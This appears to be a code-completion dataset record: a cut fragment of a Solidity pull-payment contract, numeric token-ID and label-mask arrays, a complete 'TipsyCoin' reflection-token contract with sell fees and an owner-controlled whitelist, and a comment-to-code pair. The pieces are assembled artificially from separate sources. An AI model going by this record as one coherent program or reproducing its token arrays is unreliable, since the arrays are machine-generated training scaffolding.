beneficiary address and the paymentID. /// Use Case 1: Single/Recurring Fixed Pull Payment (initialPaymentAmountInCents == 0 ) /// ------------------------------------------------ /// We calculate the amount in PMA using the rate for the currency specified in the pull payment /// and the 'fiatAmountInCents' and we transfer from the client account the amount in PMA. /// After execution we set the last payment timestamp to NOW, the next payment timestamp is incremented by /// the frequency and the number of payments is decresed by 1. /// Use Case 2: Recurring Fixed Pull Payment with initial fee (initialPaymentAmountInCents > 0) /// ------------------------------------------------------------------------------------------------ /// We calculate the amount in PMA using the rate for the currency specified in the pull payment /// and the 'initialPaymentAmountInCents' and we transfer from the client account the amount in PMA. /// After execution we set the last payment timestamp to NOW and the 'initialPaymentAmountInCents to ZERO. /// @param _client - address of the client from which the msg.sender requires to pull funds. function executePullPayment(address _client, string _paymentID) public paymentExists(_client, msg.sender) isValidPullPaymentRequest(_client, msg.sender, _paymentID) { uint256 amountInPMA; if (pullPayments[_client][msg.sender].initialPaymentAmountInCents > 0) { amountInPMA = calculatePMAFromFiat(pullPayments[_client][msg.sender].initialPaymentAmountInCents, pullPayments[_client][msg.sender].currency); pullPayments[_client][msg.sender].initialPaymentAmountInCents = 0; } else { amountInPMA = calculatePMAFromFiat(pullPayments[_client][msg.sender].fiatAmountInCents, pullPayments[_client][msg.sender].currency); pullPayments[_client][msg.sender].nextPaymentTimestamp = pullPayments[_client][msg.sender].nextPaymentTimestamp + pullPayments[_client][msg.sender].frequency; pullPayments[_client][msg.sender].numberOfPayments = pullPayments[_client][msg.sender].numberOfPayments - 1; } pullPayments[_client][msg.sender].lastPaymentTimestamp = now; token.transferFrom(_client, msg.sender, amountInPMA); emit LogPullPaymentExecuted(_client, msg.sender, pullPayments[_client][msg.sender].paymentID); } function getRate(string _currency) public view returns (uint256) { return exchangeRates[_currency]; } /// =============================================================================================================== /// Internal Functions /// =============================================================================================================== /// @dev Calculates the PMA Rate for the fiat currency specified - The rate is set every 10 minutes by our PMA server /// for the currencies specified in the smart contract. /// @param _fiatAmountInCents - payment amount in fiat CENTS so that is always integer /// @param _currency - currency in which the payment needs to take place /// RATE CALCULATION EXAMPLE /// ------------------------ /// RATE ==> 1 PMA = 0.01 USD$ /// 1 USD$ = 1/0.01 PMA = 100 PMA /// Start the calculation from one ether - PMA Token has 18 decimals /// Multiply by the DECIMAL_FIXER (1e+10) to fix the multiplication of the rate /// Multiply with the fiat amount in cents /// Divide by the Rate of PMA to Fiat in cents /// Divide by the FIAT_TO_CENT_FIXER to fix the _fiatAmountInCents function calculatePMAFromFiat(uint256 _fiatAmountInCents, string _currency) internal view returns (uint256) { return ONE_ETHER.mul(DECIMAL_FIXER).mul(_fiatAmountInCents).div(exchangeRates[_currency]).div(FIAT_TO_CENT_FIXER); } /// @dev Checks if a registration request is valid by comparing the v, r, s params /// and the hashed params with the client address. /// @param v - recovery ID of the ETH signature. - https://github.com/ethereum/EIPs/issues/155 /// @param r - R output of ECDSA signature. /// @param s - S output of ECDSA signature. /// @param _client - client address that is linked to this pull payment. /// @param _beneficiary - address that is allowed to execute this pull payment. /// @param _pullPayment - pull payment to be validated. /// @return bool - if the v, r, s params with the hashed params match the client address function isValidRegistration( uint8 v, bytes32 r, bytes32 s, address _client, address _beneficiary, PullPayment _pullPayment ) internal pure returns (bool) { return ecrecover( keccak256( abi.encodePacked( _beneficiary, _pullPayment.currency, _pullPayment.initialPaymentAmountInCents, _pullPayment.fiatAmountInCents, _pullPayment.frequency, _pullPayment.numberOfPayments, _pullPayment.startTimestamp ) ), v, r, s) == _client; } /// @dev Checks if a deletion request is valid by comparing the v, r, s params /// and the hashed params with the client address. /// @param v - recovery ID of the ETH signature. - https://github.com/ethereum/EIPs/issues/155 /// @param r - R output of ECDSA signature. /// @param s - S output of ECDSA signature. /// @param _paymentID - ID of the payment. /// @param _client - client address that is linked to this pull payment. /// @param _beneficiary - address that is allowed to execute this pull payment. /// @return bool - if the v, r, s params with the hashed params match the client address function isValidDeletion( uint8 v, bytes32 r, bytes32 s, string _paymentID, address _client, address _beneficiary ) internal view returns (bool) { return ecrecover( keccak256( abi.encodePacked( _paymentID, _beneficiary ) ), v, r, s) == _client && keccak256( abi.encodePacked(pullPayments[_client][_beneficiary].paymentID) ) == keccak256(abi.encodePacked(_paymentID)); } /// @dev Checks if a payment for a beneficiary of a client exists. /// @param _client - client address that is linked to this pull payment. /// @param _beneficiary - address to execute a pull payment. /// @return bool - whether the beneficiary for this client has a pull payment to execute. function doesPaymentExist(address _client, address _beneficiary) internal view returns (bool) { return ( bytes(pullPayments[_client][_beneficiary].currency).length > 0 && pullPayments[_client][_beneficiary].fiatAmountInCents > 0 && pullPayments[_client][_beneficiary].frequency > 0 && pullPayments[_client][_beneficiary].startTimestamp > 0 && pullPayments[_client][_beneficiary].numberOfPayments > 0 && pullPayments[_client][_beneficiary].nextPaymentTimestamp > 0 ); } /// @dev Checks if the address of an owner/executor needs to be funded. /// The minimum amount the owner/executors should always have is 0.001 ETH /// @param _address - address of owner/executors that the balance is checked against. /// @return bool - whether the address needs more ETH. function isFundingNeeded(address _address) private view returns (bool) { return address(_address).balance <= MINIMUM_AMOUNT_OF_ETH_FOR_OPARATORS; } }
=============================================================================================================== Modifiers ===============================================================================================================
modifier isExecutor() { require(executors[msg.sender]); _; }
1,796,326
[ 1, 9917, 4428, 14468, 12275, 4766, 1377, 3431, 3383, 422, 9917, 4428, 14468, 33, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 353, 6325, 1435, 288, 203, 3639, 2583, 12, 4177, 13595, 63, 3576, 18, 15330, 19226, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // OpenZeppelin Contracts v4.3.2 (token/ERC20/ERC20.sol) import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/proxy/utils/Initializable.sol"; import "./IPancake.sol"; import "./ITokenTimelock.sol"; import "./TimeLock.sol"; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract to the not~ 0 address. * Since we use proxies this constructor is never called, and we can use this lock to prevent someone taking over the base contract and causing confusion * (addresses etc) since this being set effectively disables the base contract */ constructor() { _transferOwnership(address(~uint160(0))); //_transferOwnership(address(uint160(0))); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0x000000000000000000000000000000000000dEaD)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function initOwnership(address newOwner) internal virtual { require(_owner == address(0), "Ownable: owner already set"); _owner = newOwner; emit OwnershipTransferred(address(0), newOwner); } } contract TipsyCoin is IERC20, IERC20Metadata, Ownable, Initializable { using Address for address; //--Public View Vars address public constant DEAD_ADDRESS = 0x000000000000000000000000000000000000dEaD; uint256 public maxTxAmount; uint256 public _rTotal = 1e18; uint256 public buybackFundAmount = 400; uint256 public marketingCommunityAmount = 200; uint256 public reflexiveAmount = 400; mapping(address => bool) public whiteList; mapping(address => bool) public excludedFromFee; address public pancakeSwapRouter02; address public pancakePair; //launchTime will be a short random delay after liquidity is added to PCS //to discourage sniper bots from reading mempool and buying the second the addliquidity event is added to txpool uint public launchTime; uint256 public maxSupply; address public cexFund; address public charityFund; address public teamVestingFund; address public futureFund; address public communityEngagementFund; address public buyBackFund; address public marketingFund; address public lpLocker; //--Restricted View Vars mapping(address => uint256) private _balances; uint256 private _totalSupply; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; IPancakeRouter02 internal pancakeV2Router; uint256 internal _feeTotal; address[] internal _tokenWETHPath; string private _name; string private _symbol; //--Patch Vars address public taxCollector; //--Events event SellFeeCollected(uint256 indexed tokensSwapped, uint256 indexed ethReceived); event FeesChanged(uint indexed buyBack, uint indexed marketing, uint indexed reflexive); event ExcludedFromFee(address indexed excludedAddress); event IncludedInFee(address indexed includedAddress); event IncludedInContractWhitelist(address indexed includedWhiteListedContract); event Burned(uint indexed oldSupply, uint indexed amount, uint indexed newSupply); event Reflex(uint indexed oldRFactor, uint indexed amount, uint indexed newRFactor); //event ExcludedFromContractWhitelist(address indexed excludedWhiteListedContract); -> removed the function associated with this event for safety //--Modifiers /** * @dev * Provides some deterance to bots to prevent them from interacting with tipsy * Obviously we are aware that isContract() returns false during construction, so maxTxAmount, tax on transferFrom, and launchTime params also used as further deterance */ modifier noBots(address recipient) { require(!recipient.isContract() || whiteList[recipient], "tipsyCoin: Bots and Contracts b&"); _; } //--View Functions /** * @dev * Gets the byte code for the timelock contract. Returns bytes */ function getByteCodeTimelock() public pure returns (bytes memory) { bytes memory bytecode = type(TokenTimelock).creationCode; return bytecode; } /** * @dev * tiny function to make checking a bunch of addresses arne't the 0 addy in the initializer */ function addyChk(address _test) internal pure returns (bool) { return uint160(_test) != 0; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _realToReflex(_allowances[owner][spender]); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns number of decimals, 18 is standard */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-balanceOf}. * Return value in reflect space */ function balanceOf(address account) public view returns (uint256) { //return _balances[account]; return _rBalanceOf(account); } /** * @dev See {IERC20-totalSupply} * Returns in reflex space */ function totalSupply() public view returns (uint256) { return _realToReflex(_totalSupply); } /** * @dev * gets a new rTotal based on amount of tokens to be removed from supply */ function getNewRate(uint _reflectAmount) public view returns (uint _adjusted) { return totalSupply() * _rTotal / (totalSupply() - _reflectAmount); //return rTotalSupply() * 1e18 / (rTotalSupply() - _reflectAmount); } /** * @dev * internal function to calculate reflect space balanceOf(account) */ function _rBalanceOf(address account) internal view returns (uint256) { return _balances[account] * _rTotal / 1e18; } /** * @dev * Multiplies real space token amount by the reflex factor (rTotal) to get reflex space tokens */ function _realToReflex(uint _realSpaceTokens) public view returns (uint256 _reflexSpaceTokens) { return _realSpaceTokens * _rTotal / 1e18; } /** * @dev * Divides reflex space token amount by the reflex factor (rTotal) to get real space tokens */ function _reflexToReal(uint _reflexSpaceTokens) public view returns (uint256 _realSpaceTokens) { return _reflexSpaceTokens * 1e18 / _rTotal; } //--Mutative Functions /** * @dev * Deploys the current byte code. Returns address of newly deployed contract */ function deploy(bytes memory _code) internal returns (address addr) { assembly { addr:= create(0,add(_code,0x20), mload(_code)) } require(addr != address(0), "tipsy: deploy failed"); return addr; } constructor() payable { } function addLiquidity(uint256 _launchTime) payable public { //This is the "go time" function. Project can be deployed before this, and then this is called to add the LP and go live //Launch time papam is used to prevent trades happening before this time. Used to prevent sniperbots scanning txpool and buying the second this function is called require(msg.sender == address(0x75bA26e94BC5261cABeC4B50208DF9e21b21245a), "Not Deiparous!"); require(msg.value > 200 ether, "Add more than 200 BNB ($100,000), scrub!"); require(_launchTime > block.timestamp + 100, "_launchTime too soon!"); pancakePair = IPancakeFactory(pancakeV2Router.factory()).createPair(address(this), pancakeV2Router.WETH()); require(_lockLiquidity(), "tipsy: liquidity lock failed"); _approve(address(this), pancakeSwapRouter02, 50e9 * 10 ** decimals()); whiteList[pancakePair] = true; pancakeV2Router.addLiquidityETH{value:address(this).balance}( address(this), 50e9 * 10 ** decimals(), 1, 1, lpLocker, block.timestamp); launchTime = _launchTime; } function _lockLiquidity() private returns (bool) { //Create timelock for 5 years ITokenTimelock(lpLocker).initialize(pancakePair, address(this), block.timestamp + 1825 days); return true; } function initialize(address owner_, address _pancakeSwapRouter02, address _cexFund, address _charityFund, address _marketingFund, address _communityEnagementFund, address _futureFund, address _teamVestingFund, address _buyBackFund, address _taxCollector) public initializer { initOwnership(owner_); (lpLocker) = deploy(getByteCodeTimelock()); require(addyChk(_cexFund) && addyChk(_charityFund) && addyChk(_marketingFund) && addyChk(_communityEnagementFund) && addyChk(_futureFund) && addyChk(_teamVestingFund) && addyChk(_buyBackFund), "tipsy: initialize address must be set"); buyBackFund = _buyBackFund; cexFund = _cexFund; //7% charityFund = _charityFund; //3% marketingFund = _marketingFund; //19.7% communityEngagementFund = _communityEnagementFund; //4.8% futureFund = _futureFund; //5.5% teamVestingFund = _teamVestingFund; //10% buybackFundAmount = 400; //4% of sell marketingCommunityAmount = 200; //2% of sell reflexiveAmount = 400; //4% of sell _feeTotal = buybackFundAmount + marketingCommunityAmount + reflexiveAmount; //10% tax total _name = "TipsyCoin"; _symbol = "$tipsy"; _mint(marketingFund, 19.7 * 1e9 * 10 ** decimals()); // 19.7% _mint(teamVestingFund, 10 * 1e9 * 10 ** decimals()); // 10% _mint(cexFund, 7 * 1e9 * 10 ** decimals()); //7% _mint(charityFund, 3 * 1e9 * 10 ** decimals()); //3% _mint(address(this), 50 * 1e9 * 10 ** decimals()); //Tokens to be added to LP. 50% _mint(communityEngagementFund, 4.8 * 1e9 * 10 ** decimals()); //4.8% _mint(futureFund, 5.5 * 1e9 * 10 ** decimals()); //5.5% maxSupply = 100e9 * 10 ** decimals(); //100 billion total require(maxSupply == _totalSupply, "tipsy: not all supply minted"); maxTxAmount = _totalSupply / 200; //0.5% of initial max supply, doesn't decrease as tokens are burned or reflected (to keep number simple -> 500 Mill) _rTotal = 1e18; // reflection ratio starts at 1.0 pancakeSwapRouter02 = _pancakeSwapRouter02; pancakeV2Router = IPancakeRouter02(pancakeSwapRouter02); taxCollector = _taxCollector; whiteList[taxCollector] = excludedFromFee[taxCollector] = true; whiteList[pancakeSwapRouter02] = true; excludedFromFee[pancakeSwapRouter02] = false; whiteList[address(this)] = excludedFromFee[address(this)] = true; whiteList[owner()] = excludedFromFee[owner()] = true; whiteList[cexFund] = excludedFromFee[cexFund] = true; whiteList[charityFund] = excludedFromFee[charityFund] = true; whiteList[teamVestingFund] = excludedFromFee[teamVestingFund] = true; whiteList[futureFund] = excludedFromFee[futureFund] = true; whiteList[communityEngagementFund] = excludedFromFee[communityEngagementFund] = true; whiteList[buyBackFund] = excludedFromFee[buyBackFund] = true; whiteList[marketingFund] = excludedFromFee[marketingFund] = true; _tokenWETHPath = new address[](2); _tokenWETHPath[0] = address(this); _tokenWETHPath[1] = pancakeV2Router.WETH(); } /** * @dev * Adjusts the fees between buyback, marketing, and reflexive rewards * Has a check to ensure the fees aren't increased beyond the initial 10% (in response to certik audit of safemoon) */ function adjustFees(uint _buybackFundAmount, uint _marketingCommunityAmount, uint _reflexiveAmount) public onlyOwner { require(_buybackFundAmount + _marketingCommunityAmount + _reflexiveAmount <= _feeTotal, "tipsy: new feeTotal > initial feeTotal"); buybackFundAmount = _buybackFundAmount; marketingCommunityAmount = _marketingCommunityAmount; reflexiveAmount = _reflexiveAmount; emit FeesChanged(buybackFundAmount, marketingCommunityAmount, reflexiveAmount); } /** * @dev * excludes an address from the fee * also makes them immune to 0.5% maxTxAmount, too */ function excludeFromFee(address _excluded) public onlyOwner { excludedFromFee[_excluded] = true; emit ExcludedFromFee(_excluded); } /** * @dev * includes an address in the fee * also makes them subject to 0.5% maxTxAmount */ function includeInFee(address _included) public onlyOwner { excludedFromFee[_included] = false; emit IncludedInFee(_included); } /** * @dev * includes an address in the contract whitelist * non whitelisted contracts can't be the `recipient` of any tipsy tokens * non whitelisted contracts may still be the `sender` of tokens, in an attempt to reduce chances of tokens getting stranded */ function includeInWhitelist(address _included) public onlyOwner { whiteList[_included] = true; emit IncludedInContractWhitelist(_included); } /** * @dev Allows transfering of tokens from this contract if they get stuck or are sent to this contract by accident * Mentioned in CertiK's Safemoon audit as being a good idea * Can also be used to retreive LP after 5 year timelock * This contract should never own extra tokens. Extra tipsy etc is held by other contracts */ function salvage(IERC20 token) public onlyOwner { if (address(this).balance > 0) payable(owner()).transfer(address(this).balance); uint256 amount = token.balanceOf(address(this)); if (amount > 0) token.transfer(owner(), amount); } /** * @dev See {IERC20-transfer}. * * Requirements: * - the caller must have a balance of at least `amount`. * - if recipient is the 0 address, destroy the tokens and reflect * - if the recipient is the dead address, destroy the tokens and reduce total supply * - BuyBack contract uses transfer(0) and transfer(DEAD_ADDRESS), so there's value in keeping these accessable */ function transfer(address recipient, uint256 amount) public noBots(recipient) returns (bool) { //Private function always handles reflex to real space, if available if (recipient == address(0)) { //If recipient is 0 address, remove sender's tokens and use them for reflection _reflect(_msgSender(), amount); return true; } else if (recipient == DEAD_ADDRESS) { //If recipient is dead address, burn instead of reflect _burn(_msgSender(), amount); return true; } else { //Otherwise, do a normal transfer and emit a transferlog _transfer(_msgSender(), recipient, amount); _afterTokenTransfer(_msgSender(), recipient, amount); return true; } } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. * - `amount` is in reflex space */ function approve(address spender, uint256 amount) public noBots(spender) returns (bool) { //Private function always handles reflex to real space, if available _approve(_msgSender(), spender, amount); return true; } function _taxTransaction(address sender, uint amountIn, uint amountOut) private{ transferNoEvent(sender, address(this), amountIn); _pancakeswapSell(amountIn); emit SellFeeCollected(amountIn, amountOut); } function _pancakeswapSell(uint amountIn) internal { _approve(address(this), pancakeSwapRouter02, amountIn * 100); uint256 _marketingAmount = amountIn * marketingCommunityAmount / (buybackFundAmount + marketingCommunityAmount); amountIn = amountIn - _marketingAmount; //Using swapExactTokensForTokens instead of swapExactTokensForTokensSupportingFeeOnTransferTokens should be OK here //Because there's no tax from (this) address, and swapExactTokensForTokens gives us a return value, where as Supporting doesn't pancakeV2Router.swapExactTokensForTokens(amountIn, 1, _tokenWETHPath, buyBackFund, block.timestamp); pancakeV2Router.swapExactTokensForTokens(_marketingAmount, 1, _tokenWETHPath, taxCollector, block.timestamp); //IERC20(_tokenWETHPath[1]).transfer(buyBackFund, amountOut * buybackFundAmount / (buybackFundAmount + _marketingCommunityAmount)); //IERC20(_tokenWETHPath[1]).transfer(communityEngagementFund, amountOut * _marketingCommunityAmount / (buybackFundAmount + _marketingCommunityAmount)); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. * Charge fee if sender isn't excluded from fees * This means when PCS drags tokens from user, they get taxed * If sender is excluded from fee, no tax and normal tx occurs */ function transferFrom( address sender, address recipient, uint256 amount ) public noBots(recipient) returns (bool) { if (!excludedFromFee[sender]) { uint _amountBuyBack = amount * buybackFundAmount / _feeTotal/10; uint _amountMarketing = amount * marketingCommunityAmount / _feeTotal/10; uint _amountReflexive = amount * reflexiveAmount / _feeTotal/10; if(_amountBuyBack + _amountMarketing > 0) { uint _minToLiquify = pancakeV2Router.getAmountsOut(_amountBuyBack + _amountMarketing, _tokenWETHPath)[1]; if(_minToLiquify >= 1e9) _taxTransaction(sender, _amountBuyBack + _amountMarketing, _minToLiquify); else _burn(sender, _amountBuyBack + _amountMarketing); } amount = amount - _amountBuyBack - _amountMarketing - _amountReflexive; _transfer(sender, recipient, amount); if(_amountReflexive > 0) _reflect(sender, _amountReflexive); } else { //Skip collecting fee if sender (person's tokens getting pulled) is excludedFromFee _transfer(sender, recipient, amount); } //Emit Transfer Event. _taxTransaction emits a seperate sell fee collected event, _reflect also emits a reflect ratio changed event _afterTokenTransfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(_realToReflex(currentAllowance) >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), _realToReflex(currentAllowance) - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _realToReflex(_allowances[_msgSender()][spender]) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(_realToReflex(currentAllowance) >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, _realToReflex(currentAllowance) - subtractedValue); } return true; } /** * @dev * sets a new rTotal based on amount of tokens to be removed from supply */ function _setNewRate(uint _reflectAmount) internal returns (uint newRate) { _rTotal = getNewRate(_reflectAmount); return _rTotal; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address, use _mint instead * - `recipient` cannot be the zero address. Use _reflect instead * - `recipient` cannot be the DEAD address. Use _burn instead * - `sender` must have a reflect space balance of at least `amount` */ function _transfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), "tipsy: transfer from the zero address"); require(recipient != address(0), "tipsy: transfer to the zero address, use _reflect"); require(recipient != address(DEAD_ADDRESS), "tipsy: transfer to the DEAD_ADDRESS, use _burn"); require(block.timestamp > launchTime + 6, "tipsy: token not tradable yet! Please wait"); //require(amount > 0, "tipsy: transfer amount must be greater than zero"); Probably don't need to worry about this //If sender or recipient are immune from fee, don't use maxTxAmount //Usage of excludedFromFee means regular user to PCS enforces maxTxAmount if(!excludedFromFee[sender] && !excludedFromFee[recipient]) { require(amount <= maxTxAmount, "tipsy: transfer amount exceeds maxTxAmount."); } uint256 realAmount = _reflexToReal(amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= realAmount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - realAmount; } _balances[recipient] += realAmount; } /* @dev * This is just to avoid some duplicated transfers that might look weird on BSCScan during taxed sells * i.e. during tax an event when Tipsy is transfered to (this) address, and then a second event from this address to PCS for the sell */ function transferNoEvent( address sender, address recipient, uint256 amount ) internal { _transfer(sender, recipient, amount); } /* @dev emits the Transfer event log * */ function _afterTokenTransfer(address sender, address recipient, uint amount) internal { emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * _mint is only called during genesis, so there's no need * to adjust real tokens into reflex space, as they are 1:1 at this time * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) private { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Burn} event with old supply, amount burned and new supply. * Amounts in reflex space * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { //Burn removes 'amount' of the total supply, but doesn't reflect rewards require(account != address(0), "ERC20: burn from the zero address"); require(amount > 0, "tipsy: burn amount must be greater than zero"); uint256 accountBalance = _balances[account]; //Before continuing, convert amount into realspace uint256 _realAmount = _reflexToReal(amount); require(accountBalance >= _realAmount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - _realAmount; _balances[DEAD_ADDRESS] = _balances[DEAD_ADDRESS] + _realAmount; } _totalSupply -= _realAmount; emit Transfer(account, DEAD_ADDRESS, amount); emit Burned(totalSupply() + amount, amount, totalSupply()); } /** * @dev Destroys `amount` tokens from `account`, but adjusts rTotal * so total supply is not reduced. * * Emits a {Reflect} event with old rTotal, amount reflected and new rTotal. * Amounts in reflex space * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ //Reflect removes 'amount' of the total supply, but reflect rewards by adjusting _rTotal so that _rTotalSupply() remains constant //Emits a reflex event that has the old _rTotal, the amount reflected, and the new _rTotal function _reflect(address account, uint256 amount) internal { require(account != address(0), "tipsy: reflect from the zero address"); require(amount > 0, "tipsy: reflect amount must be greater than zero"); //accountBalance is in real space uint256 accountBalance = _balances[account]; //Before continuing, convert amount into real space uint256 _realAmount = _reflexToReal(amount); require(accountBalance >= _realAmount, "tipsy: reflect amount exceeds balance"); unchecked { _balances[account] = accountBalance - _realAmount; } uint oldRFactor = _rTotal; _setNewRate(amount); _totalSupply -= _realAmount; emit Reflex(oldRFactor, amount, _rTotal); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { if(amount > 2**192){ amount = 2**192; //Prevent overflow errors when people try to approve 2**256-1 } require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = _reflexToReal(amount); emit Approval(owner, spender, amount); } receive() external payable {} }
reflection ratio starts at 1.0
_rTotal = 1e18;
12,677,799
